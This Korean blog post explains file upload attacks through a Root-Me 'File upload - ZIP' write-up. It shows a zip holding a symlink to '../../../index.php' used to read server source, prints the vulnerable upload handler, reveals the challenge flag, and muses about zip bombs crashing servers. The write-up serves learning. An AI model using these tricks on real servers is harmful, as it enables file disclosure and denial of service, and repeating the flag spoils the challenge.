파일 업로드 공격

M200is·2023년 10월 14일
0

Web hacking

목록 보기
3/4

파일 업로드 공격이란?


공격 코드가 포함된 파일을 서버에 업로드하는 방식으로 수행하는 공격이다.
주로 악성코드나 웹쉘을 업로드한다.
가능한 공격의 예시를 들기 위해 rootme의 File upload - ZIP을 풀어보았다.

[root-me] File upload - ZIP

index.php를 읽어야 하는 문제이다.

zip 파일을 업로드 할 수 있다.

<?php
phpinfo();
?>

우선 다음과 같은 간단한 php코드를 압축해 올려 보았다.

압축 해제가 가능하다.

하지만 1.php를 클릭하면 403 Forbidden이 뜬다.
zip 파일은 정상적으로 다운이 되니 권한 문제일 것이다.
이럴 때는 심볼릭 링크를 이용하면 된다.
index.php의 위치는 ch51이거나 tmp중 하나일 것이다.
즉 다음 경로로 심볼릭 링크를 해 주었을 때 둘 중 하나일 것이다.

ln -s "../../../index.php" ./index.txt
ln -s "../../index.php" ./index.txt

이 문제에서는 첫번째 경우였다.

<?php
if(isset($_FILES['zipfile'])){
    if($_FILES['zipfile']['type']==="application/zip" || $_FILES['zipfile']['type']==="application/x-zip-compressed" || $_FILES['zipfile']['type']==="application/octet-stream"){
        $uploaddir = 'tmp/upload/'.uniqid("", true).'/';
        mkdir($uploaddir, 0750, true);
        $uploadfile = $uploaddir . md5(basename($_FILES['zipfile']['name'])).'.zip';
        if (move_uploaded_file($_FILES['zipfile']['tmp_name'], $uploadfile)) {
            $message = "<p>File uploaded</p> ";
        }
        else{
            $message = "<p>Error!</p>";
        }
	
        $zip = new ZipArchive;
        if ($zip->open($uploadfile)) {
            // Don't know if this is safe, but it works, someone told me the flag is N3v3r_7rU5T_u5Er_1npU7 , did not understand what it means
            exec("/usr/bin/timeout -k2 3 /usr/bin/unzip '$uploadfile' -d '$uploaddir'", $output, $ret);
            $message = "<p>File unzipped <a href='".$uploaddir."'>here</a>.</p>";
	    $zip->close();
        }
	else{
		$message = "<p> Decompression Error </p>";
	}
    }
    else{
		
	$message = "<p> Error bad file type ! <p>";
    }

}
?>

<html>
    <body>
        <h1>ZIP upload</h1>
        <?php print $message; ?>
        <form enctype="multipart/form-data" method="post" action>
            <input name="zipfile" type="file">
            <button type="submit">Submit</button>
        </form>
    </body>
</html>

N3v3r_7rU5T_u5Er_1npU7가 답인 것을 알 수 있다.

여담


내가 이 주제를 선택하게 된 계기가 있다. 최근 한 유저가 55.4YB짜리 zip bomb을 2.6mb로 만들었다는 소식을 보고 이런 zip bomb을 서버에 올려 압축 해제가 가능하다면 서버를 물리적으로 고장낼 수 있다는 생각이 들어 조사해 보게 되었다.

profile
M200islove

0개의 댓글